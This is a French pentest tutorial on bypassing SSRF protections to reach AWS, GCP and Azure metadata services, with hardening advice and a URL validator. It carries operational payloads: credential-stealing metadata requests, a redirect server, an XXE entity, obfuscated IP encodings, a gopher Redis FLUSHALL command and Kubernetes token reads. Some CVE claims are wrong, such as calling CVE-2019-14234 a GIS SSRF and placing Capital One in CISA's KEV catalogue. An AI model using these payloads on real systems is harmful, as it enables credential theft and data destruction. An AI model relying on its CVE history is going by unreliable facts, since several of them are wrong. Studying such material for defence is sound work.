SSRF Avance : Bypass des Protections Cloud 2026 en 2026

La compromission de Capital One en 2019 a mis sur le devant de la scène une technique que les pentesters connaissaient depuis des années : le ssrf avancé bypass protections cloud 2026 ciblant les services de métadonnées des instances cloud. En exploitant une mauvaise configuration du WAF sur une instance EC2, l'attaquante a enchaîné un SSRF vers l'endpoint 169.254.169.254, récupéré des credentials IAM temporaires, et exfiltré plus de 100 millions de données clients depuis S3. Cinq ans plus tard, AWS a rendu IMDSv2 obligatoire par défaut sur les nouvelles instances, GCP a déprécié l'ancien endpoint non authentifié, et Azure exige le header Metadata: true. Pourtant, les audits de 2025-2026 révèlent que des dizaines de milliers d'instances cloud restent vulnérables — soit parce qu'elles tournent sur des AMIs anciennes, soit parce que les protections sont mal configurées ou contournables via des techniques de rebinding DNS ou de redirect. Ce guide couvre les techniques de bypass réelles, les payloads opérationnels et les contre-mesures qui fonctionnent vraiment pour les professionnels pentest cloud.

Anatomie d'une attaque SSRF sur les métadonnées cloud

Un SSRF (Server-Side Request Forgery) force le serveur à émettre une requête HTTP vers une destination contrôlée par l'attaquant. Dans un contexte cloud, la cible de choix est le service de métadonnées de l'instance (IMDS — Instance Metadata Service), accessible uniquement depuis l'hôte lui-même via l'adresse link-local 169.254.169.254. Ce service expose les credentials IAM temporaires associés au rôle de l'instance, permettant un pivotement direct vers S3, RDS, Lambda, ou l'API de gestion cloud.

La séquence d'attaque classique se déroule en trois étapes : identifier un paramètre vulnérable au SSRF (URL de webhook, import de fichier distant, prévisualisation de lien), forger une requête vers l'IMDS, puis utiliser les credentials extraits pour l'escalade de privilèges. La difficulté réside dans le bypass des protections de plus en plus sophistiquées déployées par les équipes de sécurité.

SSRF AWS : IMDSv1 vs IMDSv2 et techniques de bypass

Sur AWS, l'endpoint de métadonnées expose les credentials IAM de l'instance via l'URL http://169.254.169.254/latest/meta-data/iam/security-credentials/. Avec IMDSv1, une simple requête GET suffit :

# IMDSv1 — requête directe sans authentification (deprecated, dangereux)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Retourne le nom du rôle IAM attaché, ex: "ec2-s3-role"

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-s3-role
# Retourne les credentials temporaires :
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "IQoJb3JpZ2lu...",
#   "Expiration": "2026-07-23T14:00:00Z"
# }

IMDSv2 ajoute un mécanisme de protection par token. Avant toute requête, le client doit effectuer un PUT vers /latest/api/token avec un header X-aws-ec2-metadata-token-ttl-seconds. Le token retourné doit ensuite accompagner chaque requête :

# IMDSv2 — étape 1 : obtenir le token (PUT avec TTL)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# IMDSv2 — étape 2 : utiliser le token pour les requêtes
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -H "X-aws-ec2-metadata-token: $TOKEN"

Le bypass d'IMDSv2 via redirect exploite le fait que certaines applications HTTP suivent les redirections. Si l'application cible suit une 301/302, un attaquant peut créer un serveur de redirect qui renvoie vers l'IMDS avec les headers appropriés. En pratique, la protection IMDSv2 exige que le PUT initial soit une requête directe à l'IMDS — les proxies HTTP classiques bloquent les requêtes PUT, ce qui limite le bypass aux cas où l'application suit les redirections HTTP avec PUT.

# Serveur de redirect malveillant pour bypass IMDSv2 (contexte pentest)
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Première requête : redirection vers l'endpoint de metadata
        self.send_response(302)
        self.send_header('Location',
            'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
        self.end_headers()

    def log_message(self, format, *args):
        pass  # silence logs

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

SSRF GCP et Azure : spécificités des métadonnées

GCP expose ses métadonnées via http://metadata.google.internal/computeMetadata/v1/ (ou http://169.254.169.254/). La protection GCP requiert le header Metadata-Flavor: Google — sans lui, les requêtes sont rejetées avec un 403. Pour récupérer le token OAuth2 du service account attaché à l'instance :

# SSRF GCP — token du service account
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"
# Retourne:
# {"access_token": "ya29.c.Kp...", "expires_in": 3599, "token_type": "Bearer"}

# Email du service account (utile pour identifier les permissions)
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" \
  -H "Metadata-Flavor: Google"

Azure IMDS utilise également 169.254.169.254 mais impose deux contraintes : le header Metadata: true et un paramètre api-version. Sans le header, Azure retourne une page HTML d'erreur trompeuse :

# SSRF Azure IMDS — identité managée
curl -s "http://169.254.169.254/metadata/identity/oauth2/token" \
  -H "Metadata: true" \
  --data-urlencode "api-version=2018-02-01" \
  --data-urlencode "resource=https://management.azure.com/"
# Retourne le token Bearer pour l'API Azure Resource Manager

Tableau comparatif des endpoints IMDS cloud

DNS rebinding : comment contourner les filtres basés sur l'IP ?

Le DNS rebinding est une attaque temporelle qui exploite le décalage entre la résolution DNS et l'exécution de la requête. Voici le mécanisme précis :

1. L'attaquant contrôle un domaine evil.example.com avec un TTL très court (1 seconde).
2. Lors de la première résolution, le serveur DNS autoritaire renvoie une IP publique légitime (ex: 1.2.3.4). Le filtre SSRF vérifie l'IP — elle est publique, donc autorisée.
3. Avant l'exécution réelle de la requête HTTP, le TTL expire. La seconde résolution retourne 169.254.169.254 ou 127.0.0.1.
4. Le serveur cible envoie la requête HTTP vers l'IMDS en croyant contacter un hôte externe.

# Simulation d'un serveur DNS rebinding (outil: singularity of origin / rebind.it)
# Configuration de zone DNS avec TTL=1s et deux réponses alternées:
# Première résolution: 203.0.113.1 (IP publique valide)
# Deuxième résolution: 169.254.169.254 (IMDS AWS)

# En pratique, utiliser des outils comme:
# - https://github.com/nccgroup/singularity
# - https://github.com/brannondorsey/dns-rebind-toolkit
# Ou configurer BIND9 avec minimal-ttl 1 et round-robin

La contre-mesure efficace contre le DNS rebinding est la validation de l'IP après résolution DNS (pas avant), combinée à un blocage strict de toutes les ranges RFC 1918, link-local (169.254.0.0/16), loopback, et multicast.

Comment chaîner un open redirect avec SSRF pour bypasser les allowlists ?

Quand une application n'autorise que des URLs vers des domaines whitelistés (ex: *.trusted.com), une vulnérabilité d'open redirect sur ce même domaine permet de chaîner les deux failles. L'attaquant soumet une URL du type https://trusted.com/redirect?url=http://169.254.169.254/latest/meta-data/. L'application valide que l'URL pointe vers trusted.com — contrôle passé. Elle effectue la requête, suit la redirection 302 vers l'IMDS, et l'attaquant obtient ses métadonnées.

POST /api/fetch-preview HTTP/1.1
Host: target.example.com
Content-Type: application/json

{
  "url": "https://trusted.com/oauth/redirect?next=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

# Réponse si l'application suit la chaîne de redirections :
HTTP/1.1 200 OK
Content-Type: application/json

{"body": "ec2-prod-role"}

Ce vecteur est particulièrement redoutable avec les endpoints OAuth /oauth/authorize qui implémentent souvent un redirect_uri insuffisamment validé. Voir aussi la documentation Attaques sur API GraphQL et REST pour les patterns de validation de redirect vulnérables dans les APIs modernes.

XXE → SSRF : déclencher un SSRF via une injection XML

Les applications qui parsent du XML sans désactiver les entités externes (XXE — XML External Entities) sont vulnérables à une chaîne XXE→SSRF. L'attaquant définit une entité externe qui pointe vers l'IMDS. Lorsque le parser XML résout l'entité, il effectue une requête HTTP vers la cible :

POST /api/import-config HTTP/1.1
Host: target.example.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE config [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<config>
  <name>&xxe;</name>
</config>

# Si l'application retourne la valeur du noeud <name> dans la réponse :
# <config><name>ec2-prod-role</name></config>

La chaîne peut être rendue aveugle (blind XXE→SSRF) en utilisant une entité externe paramétrée qui exfiltre les données via une requête DNS ou HTTP vers un serveur contrôlé par l'attaquant. Les parsers vulnérables incluent les versions non-patchées de libxml2, xerces-j et l'ancien module PHP simplexml.

Bypass des filtres IP : techniques de représentation alternative

Les filtres SSRF naïfs comparent la représentation textuelle de l'URL à une liste noire d'IPs. Cette approche est fondamentalement cassée, car TCP/IP accepte de nombreuses représentations équivalentes d'une même adresse :

# Toutes ces représentations pointent vers 127.0.0.1 (loopback)
http://localhost/
http://127.0.0.1/
http://[::1]/                    # IPv6 loopback
http://0x7f000001/               # Hexadécimal : 0x7f=127, 0x00=0, 0x01=1
http://2130706433/               # Décimal (127*16777216 + 1)
http://0177.0.0.1/               # Notation octale (0177 = 127 en décimal)
http://127.1/                    # Format court (127.0.0.1 abrégé)
http://127.000.000.001/          # Zéros de padding (certains parsers)

# Pour 169.254.169.254 (link-local AWS IMDS)
http://169.254.169.254/          # Notation standard
http://[::ffff:169.254.169.254]/ # IPv6 mapped IPv4
http://[::ffff:a9fe:a9fe]/       # IPv6 mapped (hex)
http://2852039166/               # Décimal
http://0251.0376.0251.0376/      # Notation octale complète
http://0xa9.0xfe.0xa9.0xfe/      # Notation hexadécimale

# Encodage URL pour contourner les regex de filtre
http://%31%36%39%2e%32%35%34%2e%31%36%39%2e%32%35%34/
http://169.254.169.254%2F        # Slash encodé pour path traversal

Les filtres robustes doivent résoudre l'URL vers son IP canonique, puis valider l'IP — jamais la chaîne de caractères brute. La bibliothèque Python ipaddress ou Java InetAddress gère la normalisation. Consulter également l'article SSRF moderne (IMDSv2, gopher/file) pour les techniques Gopher et file:// qui permettent des exfiltrations encore plus larges.

CVE réels impliquant SSRF en contexte cloud

CVE-2019-14234 (Django SSRF via GIS) : Une vulnérabilité dans le module django.contrib.gis permettait une injection SQL via des coordonnées malformées, conduisant indirectement à des requêtes côté serveur vers des ressources internes. Exploitée sur des déploiements Django sur EC2 avec IMDSv1, elle permettait la récupération des credentials IAM. Patch dans Django 2.2.4 et 2.1.11.

Capital One breach 2019 (SSRF + IMDS) : Référencée par la CISA dans son catalogue KEV (CISA Known Exploited Vulnerabilities), cette attaque a exploité un WAF ModSecurity mal configuré sur une instance EC2. L'attaquante a envoyé une requête SSRF vers http://169.254.169.254/latest/meta-data/iam/security-credentials/, récupéré des credentials IAM temporaires avec des permissions s3:GetObject sur 700 buckets, et exfiltré 106 millions d'enregistrements. L'absence d'IMDSv2 et un rôle IAM surconfigured ont été les deux facteurs déterminants.

CVE-2021-26084 (Confluence OGNL → SSRF) : L'injection OGNL dans Atlassian Confluence permettait l'exécution de code côté serveur, utilisée dans la pratique pour déclencher des SSRF vers les IMDS AWS des instances EC2 hébergeant Confluence. Figurant dans le catalogue NVD (National Vulnerability Database), ce CVE a été massivement exploité dans les 48h suivant sa divulgation.

CVE-2022-22965 (Spring4Shell → SSRF) : La désérialisation RCE dans Spring Framework a été combinée avec des SSRF pour accéder aux IMDS sur des déploiements cloud. Les instances GCP hébergeant des apps Spring non patchées ont vu leurs tokens OAuth2 de service account compromis.

Pentest cloud : méthodologie SSRF en environnement AWS

En contexte de pentest cloud (voir Pentest Cloud AWS Azure GCP), la découverte d'un SSRF suit une méthodologie structurée. Après identification du point d'injection, la première vérification est la version IMDS :

# Vérifier si IMDSv1 est encore actif (devrait retourner 403 sur IMDSv2-only)
curl -s http://169.254.169.254/latest/meta-data/

# Vérifier la configuration IMDSv2 via AWS CLI (depuis l'extérieur)
aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions]' \
  --output table

# Forcer IMDSv2 sur toutes les instances d'un compte (remediation)
aws ec2 modify-instance-metadata-options \
  --instance-id i-0123456789abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

Le paramètre --http-put-response-hop-limit 1 est critique : il empêche les containers et VMs imbriqués d'accéder à l'IMDS de l'hôte. Sans cette restriction, un container compromis peut accéder aux credentials IAM de l'instance EC2 hôte, même avec IMDSv2.

Les Infrastructure as Code (Terraform, CloudFormation) doivent systématiquement configurer IMDSv2 dans leurs templates. Voir Exploitation Infrastructure as Code Terraform pour les patterns IaC vulnérables et leur remédiation dans les pipelines CI/CD.

SSRF et Kubernetes : rebondir vers l'API server

Dans les environnements Kubernetes hébergés sur cloud (EKS, GKE, AKS), un SSRF peut cibler non seulement l'IMDS mais aussi l'API server Kubernetes interne. Le service account token monté dans chaque pod permet des requêtes authentifiées :

# Depuis un SSRF aveugle avec output dans la réponse HTTP
# Cibler le service account token monté dans le pod
curl -s http://target/ssrf?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token

# Utiliser le token pour requêter l'API Kubernetes interne
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s https://kubernetes.default.svc/api/v1/namespaces \
  -H "Authorization: Bearer $TOKEN" \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

Les techniques RBAC Kubernetes offensives associées sont détaillées dans l'article Kubernetes offensif RBAC abuse. La combinaison SSRF→service account token→API server Kubernetes est une chaîne d'escalade de privilèges complète dans les environnements EKS mal configurés.

Quelles défenses sont réellement efficaces contre le SSRF avancé en 2026 ?

Les défenses doivent opérer à plusieurs niveaux pour couvrir l'ensemble des vecteurs de bypass :

1. IMDSv2 obligatoire avec hop limit : Forcer IMDSv2 sur toutes les instances EC2 existantes via AWS Config rules et un Service Control Policy (SCP) qui refuse ec2:ModifyInstanceMetadataOptions pour revenir en IMDSv1. Fixer http-put-response-hop-limit à 1.

2. Egress proxy avec allowlist : Toutes les requêtes HTTP sortantes des applications doivent transiter par un proxy (Squid, mitmproxy) avec une allowlist stricte de domaines autorisés. Bloquer les ranges RFC 1918, link-local et loopback au niveau du proxy après résolution DNS.

3. Validation d'URL côté serveur : Utiliser une bibliothèque de validation d'URL qui résout l'hôte et vérifie l'IP résultante, pas la chaîne de caractères. En Go : net.LookupHost() puis vérification sur l'IP. En Python : socket.getaddrinfo() puis vérification avec ipaddress.

import ipaddress
import socket
from urllib.parse import urlparse

BLOCKED_RANGES = [
    ipaddress.ip_network('169.254.0.0/16'),  # Link-local (IMDS)
    ipaddress.ip_network('10.0.0.0/8'),      # RFC 1918
    ipaddress.ip_network('172.16.0.0/12'),   # RFC 1918
    ipaddress.ip_network('192.168.0.0/16'),  # RFC 1918
    ipaddress.ip_network('127.0.0.0/8'),     # Loopback
    ipaddress.ip_network('::1/128'),         # IPv6 loopback
    ipaddress.ip_network('fd00::/8'),        # IPv6 ULA
]

def is_safe_url(url):
    parsed = urlparse(url)
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        infos = socket.getaddrinfo(hostname, None)
        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            for blocked in BLOCKED_RANGES:
                if ip in blocked:
                    return False
    except socket.gaierror:
        return False
    return True

4. Network policy Kubernetes : Appliquer des NetworkPolicies Kubernetes qui bloquent explicitement le trafic egress des pods vers 169.254.169.254/32 et les ranges IMDS des clouds providers. Sur EKS avec VPC CNI, utiliser les Security Groups for Pods pour du contrôle granulaire.

5. Monitoring et détection : Activer AWS CloudTrail avec alertes sur les credentials IAM utilisés depuis des IPs non connues. Les credentials IMDS ont un pattern reconnaissable (ASIA prefix pour les temporaires). Sur GCP, les Cloud Audit Logs tracent chaque appel au metadata server.

SSRF via Gopher et protocoles alternatifs

Au-delà du protocole HTTP, certains parsers d'URL acceptent des schémas alternatifs qui élargissent considérablement la surface d'attaque. Le protocole Gopher (gopher://) permet d'envoyer des données arbitraires vers n'importe quel port TCP, ce qui autorise des interactions avec des services non-HTTP sur le réseau interne : Redis, Memcached, SMTP, voire des bases de données qui écoutent sur un port standard.

# SSRF via Gopher pour vider un cache Redis interne
# Gopher encode la commande Redis FLUSHALL
curl -s "http://target/ssrf?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A"

# Gopher pour envoyer un email via SMTP interne (pivot vers phishing interne)
# Payload encodé: EHLO, MAIL FROM, RCPT TO, DATA...
# Encodé en URL: %0D%0A pour CRLF, %20 pour espace

Le schéma file:// est également exploitable sur les applications qui ne filtrent pas les protocoles : file:///etc/passwd, file:///proc/self/environ (variables d'environnement du process, souvent contenant des secrets), ou file:///var/run/secrets/kubernetes.io/serviceaccount/token dans les pods Kubernetes. Le schéma dict:// permet des interactions avec des services compatibles DICT (anciennement utilisé pour les dictionnaires, exploité pour le pivotement réseau).

La contre-mesure est simple mais souvent oubliée : implémenter une allowlist de schémas autorisés (https:// uniquement dans la majorité des cas), pas une blocklist. Les blocklists de schémas ratent invariablement des cas edge comme GOPHER:// (majuscules) ou des schémas exotiques supportés par les bibliothèques HTTP sous-jacentes.

Questions fréquentes

IMDSv2 est-il réellement suffisant pour protéger contre le SSRF sur AWS ?

IMDSv2 est nécessaire mais pas suffisant seul. Il protège contre les SSRF simples en exigeant un PUT préalable avec un header custom, mais un attaquant qui contrôle complètement la couche applicative (RCE) peut toujours obtenir le token. La protection complète requiert IMDSv2 avec hop limit 1, un rôle IAM au principe de moindre privilège, et un monitoring des appels aux credentials temporaires.

Comment détecter si une application est vulnérable au SSRF sans exécuter de requête vers l'IMDS ?

Utiliser un serveur de collaboration OOB (Out-of-Band) comme Burp Collaborator ou interactsh. Injecter son URL dans tous les paramètres qui semblent prendre des URLs (webhooks, imports, previews). Si le serveur OOB reçoit une connexion DNS ou HTTP, l'application est vulnérable au SSRF. L'absence de response visible n'exclut pas le SSRF aveugle. Les outils spécialisés comme SSRFmap automatisent cette détection, y compris la tentative de requêtes IMDS.

Le header Metadata-Flavor: Google protège-t-il vraiment contre le SSRF sur GCP ?

Ce header n'est pas une protection robuste contre un SSRF. Si l'application vulnérable peut être manipulée pour inclure des headers custom dans ses requêtes sortantes (ex: via une API de fetch qui accepte des headers fournis par l'utilisateur), l'attaquant peut injecter Metadata-Flavor: Google. La vraie protection sur GCP est la configuration du metadata concealment via les workload identity et la restriction des scopes OAuth2 au strict nécessaire.

Quelle est la différence entre SSRF et CSRF dans un contexte d'attaque cloud ?

Le CSRF (Cross-Site Request Forgery) force le navigateur d'un utilisateur légitime à émettre une requête — il exploite la session de l'utilisateur. Le SSRF force le serveur applicatif à émettre une requête — il exploite la position réseau privilégiée du serveur (accès à l'IMDS, aux services internes, aux bases de données). En contexte cloud, le SSRF est bien plus critique car le serveur a accès à l'IMDS et aux APIs internes, ce qu'un navigateur ne peut pas atteindre.

Les WAF cloud (AWS WAF, Cloudflare) bloquent-ils le SSRF ?

Les WAF managés incluent des règles SSRF de base qui bloquent les patterns évidents comme 169.254.169.254 dans les paramètres HTTP. Cependant, ils sont généralement contournables via les techniques de représentation alternative (décimale, octale, IPv6 mapped), le DNS rebinding, et les chaînes open redirect. Un WAF est une couche de défense supplémentaire, pas une solution complète. L'OWASP SSRF guide et les PortSwigger SSRF labs documentent en détail les limitations des approches de filtrage par pattern.